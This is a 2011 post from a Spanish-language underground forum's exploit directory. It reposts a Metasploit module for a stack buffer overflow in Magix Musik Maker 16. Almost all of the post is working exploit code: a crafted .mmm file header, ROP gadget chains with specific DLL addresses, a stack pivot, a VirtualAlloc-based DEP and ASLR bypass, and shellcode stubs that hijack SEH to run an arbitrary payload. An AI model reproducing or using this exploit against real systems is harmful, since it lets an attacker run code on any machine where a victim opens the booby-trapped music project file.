Comunidad Underground Hispana  

Retroceder   Comunidad Underground Hispana > Phreaking, Hacking y Seguridad > Bug y Exploits > Directorio de Exploits


Respuesta Crear Nuevo Tema
 
Compartir en twitter LinkBack Herramientas Desplegado
Antiguo 16-jun-2011, 20:18   #1
Yes! I am invincible!
 
Avatar de Doddy
 
Fecha de Ingreso: febrero-2009
Ubicación: Infierno
Amigos 32
Mensajes: 2.423
Gracias: 0
Agradecido 161 veces en 116 mensajes.
Predeterminado Magix Musik Maker 16 .mmm Stack Buffer Overflow (w/o egg-hunter)

Código:
---
My version of exploit...
Looks like bug the same as in:
http://www.exploit-db.com/exploits/17313/
 
My exploit does not use egg-hunter,  so it must be faster, but i have limited size for payload -
750 bytes 8)
Speed Vs Size...
---
# Title: Magix Musik Maker 16
# EDB-ID: ()
# CVE-ID: ()
# OSVDB-ID: 72455
# Author: Alexey Sintsov
# Published: 2011-05-22
# Verified:
# Download N/A
 
##
# $Id: musick_maker16.rb 12364 2011-05-03 07:53:58Z aaa $
##
  
##
# This file is part of the Metasploit Framework and may be subject to
# redistribution and commercial restrictions. Please see the Metasploit
# Framework web site for more information on licensing and terms of use.
# http://metasploit.com/framework/
##
  
require 'msf/core'
  
class Metasploit3 < Msf::Exploit::Remote
    Rank = GoodRanking
 
    include Msf::Exploit::FILEFORMAT
   
 
  
    def initialize(info = {})
        super(update_info(info,
            'Name'           => 'Musick Maker 16, Stack Buffer Overflow',
            'Description'    => %q{
                    This module exploits a stack buffer overflow in Musick Maker 16
                When opening a malicious .MMM file in Music Maker, a stack buffer occurs,
                resulting in arbitrary code execution via SEH.
                This exploit bypasses DEP & ASLR and works on XP, Vista & Windows 7. LTKRN14n.dll and LTDIS14n.dll used for ROP.
            },
            'License'        => MSF_LICENSE,
            'Author'         =>
                [
                    'Alexey Sintsov',    
 
                ],
            'Version'        => '$Revision: 12364 $',
            'DefaultOptions' =>
                {
                    'EXITFUNC' => 'process',
                },
            'Payload'        =>
                {
             'BadChars' => "\x00",
                     'DisableNops' => 'True',
                },
            'Platform'       => 'win',
            'Targets'        =>
                [
                    [ '32-bit Windows Universal (Generic DEP & ASLR Bypass)',
                        {
                'Ret'    => 0x20012026, # ADD ESP,4F8 # RETN 4
                'Size'   => 750
                        }
                    ],
                ],
            'Privileged'     => false,
            'DisclosureDate' => 'May 02 2011',
            'DefaultTarget'  => 0))
  
        register_options(
            [
                OptString.new('FILENAME', [ true, 'The output file name.', 'msf.mmm']),
 
            ], self.class)
    end
     
def exploit
         
    badchars = target['BadChars']
     
  
    print_status("Creating '#{datastore['FILENAME']}' file ...")
    print_status("Preparing payload")
     
    aaa_header="\x52\x49\x46\x46\xE6\x9D\x06\x00\x53\x45\x4B\x44\x53\x56\x49\x50"+
               "\x10\x07\x00\x00\x9B\x5B\x6E\x00\x00\x00\x00\x00\x11\x00\x00\x00"+
               "\x08\x00\x00\x00\x44\xAC\x00\x00\x11\x00\x00\x00\x00\x00\x00\x00"+
               "\x00\x00\x39\x40\x00\x00\xF0\x42\x00\x00\x00\x00\xBD\x04\xEF\xFE"+
               "\x00\x00\x01\x00\x00\x00\x10\x00\x06\x00\x00\x00\x00\x00\x10\x00"+
               "\x06\x00\x00\x00\x3F\x00\x00\x00\x28\x00\x00\x00\x04\x00\x04\x00"+
               "\x01\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00"+
               "\xF3\x8E\x32\x01\xD0\x02\x00\x00\x40\x02\x00\x00\x55\x55\x55\x55"+
               "\x55\x55\xF5\x3F\x10\x00\x00\x00\x00\x00\x00\x00\xFF\xFF\xFF\xFF"+
               "\xFF\xFF\xFF\xFF"
 
    aaa_list="\x4C\x49\x53\x54\x04\x25\x02\x00\x70\x68\x79\x73\x66\x69\x6C\x65\xF8\x08"
     
    rop_pivot =
    [
        0x20012026, # ADD ESP,4F8 # RETN 4
    ].pack("V*")
     
    rop_nop =
    [
        0x1FF727C6, # RETN
    ].pack("V*")
     
    rop_jmp =
    [
        0x2001DD16, # ADD ESP, 40 # RETN
    ].pack("V*")
     
    rop_gadgets2 =
    [
        0x1FFFB8D9,  # XCHG EAX,EBP # RETN
        0x1FF727C5,  # POP ECX # RETN               //  ECX = FFFFFFFF
        0xffffffff,
        0x20048546,  # ADC ECX,EBP # RETN           // ECX - saved stack
        0x1FFA82EF,  # POP EAX # RETN
        0x1FFAF154,  #  ----+                   // [EAX+C] will point on VA
        0x1FFFB8D9,  # XCHG EAX,EBP # RETN      // now [EBP+C] will point on VA
        0x1FFA817E,  # MOV EAX,DWORD PTR SS:[EBP+C] # POP EDI # POP ESI # POP EBX # POP EBP # RETN 0C
        0xAAAAAAAA,
        0xAAAAAAAA,
        0xAAAAAAAA,
        0xAAAAAAAA,
        0x1FFFB8D9,   # XCHG EAX,EBP # RETN
        0xBBBBBBBB,
        0xBBBBBBBB,
        0xBBBBBBBB,
        0x1FF72620,   # MOV EAX,ECX # POP EBX # RETN
        0xAAAAAAAA,
        0x1FFFB8D9,   # XCHG EAX,EBP # RETN      // EBP - saved stack pointer
        0x2004A8C1,   # CALL EAX  # RETN        // call VirtAlloc
        0x31313131,   # // param 1
        0x32323232,   # // param 2
        0x33333333,   # // param 3
        0x34343434,   # // param 4
        0x2001215B,  # PUSH ESP # RETN 4
    ].pack("V*")
 
    rop_gadgets =
        [
        0x1FFFB8D9,  # XCHG EAX,EBP # RETN                   // Pointer in EAX
        0x1FF95F45,  # PUSH EAX # POP ESI # RETN 8           // Pointer in ESI an EAX
        0x1FFA82EF,  # POP EAX # RETN
        0x11111111,  #     ^
        0x22222222,  #     | 
        0xFFFFFc74,  #  ---+   
        0x200263f5,  # NEG EAX  # RETN                       // EAX = OFFSET
        0x1FF74212,  # ADD EAX,ESI # POP ESI # RETN          // pointer in stack on our HEAP
        0x33333333,
        0x1FF939F2,  # MOV EAX,DWORD PTR DS:[EAX+90] # RETN 4// EAX -> POINTER+OFFSET --- here are our params in HEAP
        0x1FF95F45,  # PUSH EAX # POP ESI # RETN 8           // EAX and ESI = POINTER+OFFSET --- here are our params in HEAP
        0x44444444,
        0x1FFFB8D9,  # XCHG EAX,EBP # RETN                   // EBP = Pointer as param 1
        0x44444444,
        0x55555555,
             
        0x1FF727C5,  # POP ECX # RETN                        //  ECX = ffffff10
        0xffffff10,
        0x20048546,  # ADC ECX,EBP # RETN                   //  ECX = Pointer on stack - as param 1
        0x2003C7AD,  # MOV EAX,ESI # POP ESI # RETN         //  EAX=PARAMS POINTER
        0x66666666,
        0x1FF95F45,  # PUSH EAX # POP ESI # RETN 8          //  resave in ESI
        0x1FF891C4,  # MOV DWORD PTR DS:[EAX+4],ECX # RETN  // WRITE PARAM 1 - pointer on stack
        0x77777777,
        0x88888888,
             
        0x1FFA883A,  # XOR EAX,EAX # RETN
        0x1FF7519F,  # ADD AL,40 # RETN    // EAX=40
        0x1FFFB8D9,  # XCHG EAX,EBP # RETN                  //  EBP = 40
        0x1FF727C5,  # POP ECX # RETN                       //  ECX = ffffffd0
        0xffffffd0,
        0x20048546,  # ADC ECX,EBP # RETN                   //  ECX = 10
        0x2003C7AD,  # MOV EAX,ESI # POP ESI # RETN         //  EAX=PARAMS POINTER
        0x99999999,
        0x1FF95F45,  # PUSH EAX # POP ESI # RETN 8          //  resave in ESI
        0x1FF9EAF7,  # MOV DWORD PTR DS:[EAX+8],ECX # RETN  // WRITE PARAM 2 - size(10)
        0xaaaaaaaa,
        0xbbbbbbbb,
             
        0x1FFA82EF,  # POP EAX # RETN                       // EAX = FFFFEFFF
        0xffffefff,
        0x200263f5,  # NEG EAX  # RETN                      // EAX=1001 (cos 1000 with null bytes)
        0x1FFA0231,  # DEC EAX # RETN                       // EAX=1000
        0x1FFFB8D9,  # XCHG EAX,EBP # RETN                   // EBP = 1000
        0x1FF727C5,  # POP ECX # RETN                       //  ECX = FFFFFFFF
        0xffffffff,
        0x20048546,  # ADC ECX,EBP # RETN                    //  ECX = 1000 - MEM_COMMIT
        0x2003C7AD,  # MOV EAX,ESI # POP ESI # RETN         //  EAX=PARAMS POINTER
        0xcccccccc,
        0x1FF751A0,  # INC EAX # RETN
        0x1FF751A0,  # INC EAX # RETN
        0x1FF751A0,  # INC EAX # RETN
        0x1FF751A0,  # INC EAX # RETN
        0x1FF751A0,  # INC EAX # RETN
        0x1FF751A0,  # INC EAX # RETN
        0x1FF751A0,  # INC EAX # RETN
        0x1FF751A0,  # INC EAX # RETN
        0x1FF95F45,  # PUSH EAX # POP ESI # RETN 8           // resave in ESI
        0x1FF891C4,  # MOV DWORD PTR DS:[EAX+4],ECX # RETN  //  WRITE PARAM 3 - MEM_COMMIT
        0xdddddddd,
        0xdddddddd,
         
        0x1FF727C5,  # POP ECX # RETN                       //  ECX = ffffffFF
        0xffffffff,
        0x20033FB9,  # INC ECX # ADD AL,3 # RETN            //  ECX=0
        0x1FFA883A,  # XOR EAX,EAX # RETN
        0x1FF7519F,  # ADD AL,40 # RETN                      // EAX=40
        0x1FFFB8D9,  # XCHG EAX,EBP # RETN                   // EBP = 40
        0x20048546,  # ADC ECX,EBP # RETN                   //  ECX = 40
        0x2003C7AD,  # MOV EAX,ESI # POP ESI # RETN         //  EAX=PARAMS POINTER
        0xeeeeeeee,
        0x1FF9EAF7,  # MOV DWORD PTR DS:[EAX+8],ECX # RETN  //   WRITE PARAM 4 - WRITE_EXECUTE
        0x1FF727C5,  # POP ECX # RETN
        0xFFFFFFAC,  # -84 -^
        0x1FF75190,  # ADD EAX,ECX # RETN  EAX=EAX-84
        0x2004387F,  # XCHG EAX,ESP # RETN  // New stack pointer in HEAP-------->rop_gadgets2
             
    ].pack("V*")
     
    #Jump to shellcode
    shell_jmp="\x87\xe5"+   # XCHG ESP, EBP <---- take back stack pointer
    "\x33\xc0"+             # XOR EAX, EAX
    "\x04\x40"+             # ADD AL, 40
    "\x50"+                 # PUSH EAX
    "\x33\xc0"+             # XOR EAX, EAX     
    "\xb4\x10"+             # MOV AH, 10
    "\x50"+                 # PUSH EAX
    "\x8b\xc5"+             # MOV EAX, EBP
    "\x33\xc9"+             # XOR ECX,ECX
    "\xb5\x05"+             # MOV CH, 5
    "\xb1\xee"+             # MOV CL, EE
    "\x2b\xc1"+             # SUB EAX, ECX <--- block with shellcode
    "\x51"+                 # PUSH ECX
    "\x50"+                 # PUSH EAX
    "\x8b\xf8"+             # MOV EDI, EAX
    "\xb9\x60\xf1\xfa\x1f"+ # MOV ECX, 1FFAF160
    "\xff\x11"+             # CALL [ECX] -> call kenrnel32.VirtualAlloc(shellcode,0x826,MEM_COMMIT,READWRITE_EXECUTE)
    "\xff\xe7"              # JMP EDI -> JMP shellcode
 
    pivot = [target.ret].pack('V')
        
    shellcode=payload.encoded
        
    nops = make_nops(8)
     
    aaa_data = aaa_header
    aaa_data << "\x00"*1680
    aaa_data << aaa_list
    aaa_data << "\x00"*25
     
    #### This will be in heap, not in the stack
    aaa_data << "C:\\aaa\\"
    aaa_data << shellcode # 7. Shellcode run
    aaa_data << "a"*(target['Size']-shellcode.length) 
     
    aaa_data << "a"*328
     
    aaa_data << "\x00"*16
     
     
    aaa_data << "x"*320
    aaa_data << rop_gadgets2 # 4. call VirtualAlloc, jmp to ESP (5.)
    aaa_data << shell_jmp    # 5. call VA again and JMP to shellcode (6.)
    aaa_data << "a"*61
     
    #### And this will be in stack!
    aaa_data << rop_jmp*32   # 2. After satck pivot, jump to (3.)
    aaa_data << "a"*16
    aaa_data << [target.ret].pack('V')   # 1. SEH rewrite -> ADD ESP, xxx and we are in (2.)
    aaa_data << rop_nop*10  # 3. ROP-NOP
    aaa_data << rop_gadgets # 4. ROP programm, calc in HEAP and make new stack  (4.)
    aaa_data << "a"*31337    # truncated
  
        print_status("Writing payload to file, " + aaa_data.length.to_s()+" bytes")
  
    if shellcode.length>target['Size']
        print_status("ERROR, too big payload!")
    else
        file_create(aaa_data)
    end
    end
end
  
__________________
Doddy está desconectado   Responder Citando
Respuesta

Herramientas
Desplegado

Normas de Publicación
No puedes crear nuevos temas
No puedes responder mensajes
No puedes subir archivos adjuntos
No puedes editar tus mensajes

Los Códigos BB están Activado
Las Caritas están Activado
[IMG] está Activado
El Código HTML está Desactivado
Trackbacks están Activado
Pingbacks están Activado
Refbacks están Activado



Temas Similares
Tema Autor Foro Respuestas Último mensaje
MAGIX Music Maker 16+Crack (Crea Tu Propia Musica) milaras21 Software 2 27-mar-2013 15:32
The KMPlayer 3.0.0.1440 .mp3 Buffer Overflow Exploit (Win7 + ASLR bypass mod) Doddy Directorio de Exploits 0 16-jun-2011 20:18
Mini-stream RM-MP3 Converter/WMDownloader/ASX to MP3 Converter Stack Buffer Overflow Doddy Directorio de Exploits 0 04-ago-2010 13:27



Powered by vBulletin® Version 3.8.7
Copyright ©2000 - 2013, Jelsoft Enterprises Ltd.
SEO by vBSEO 3.6.0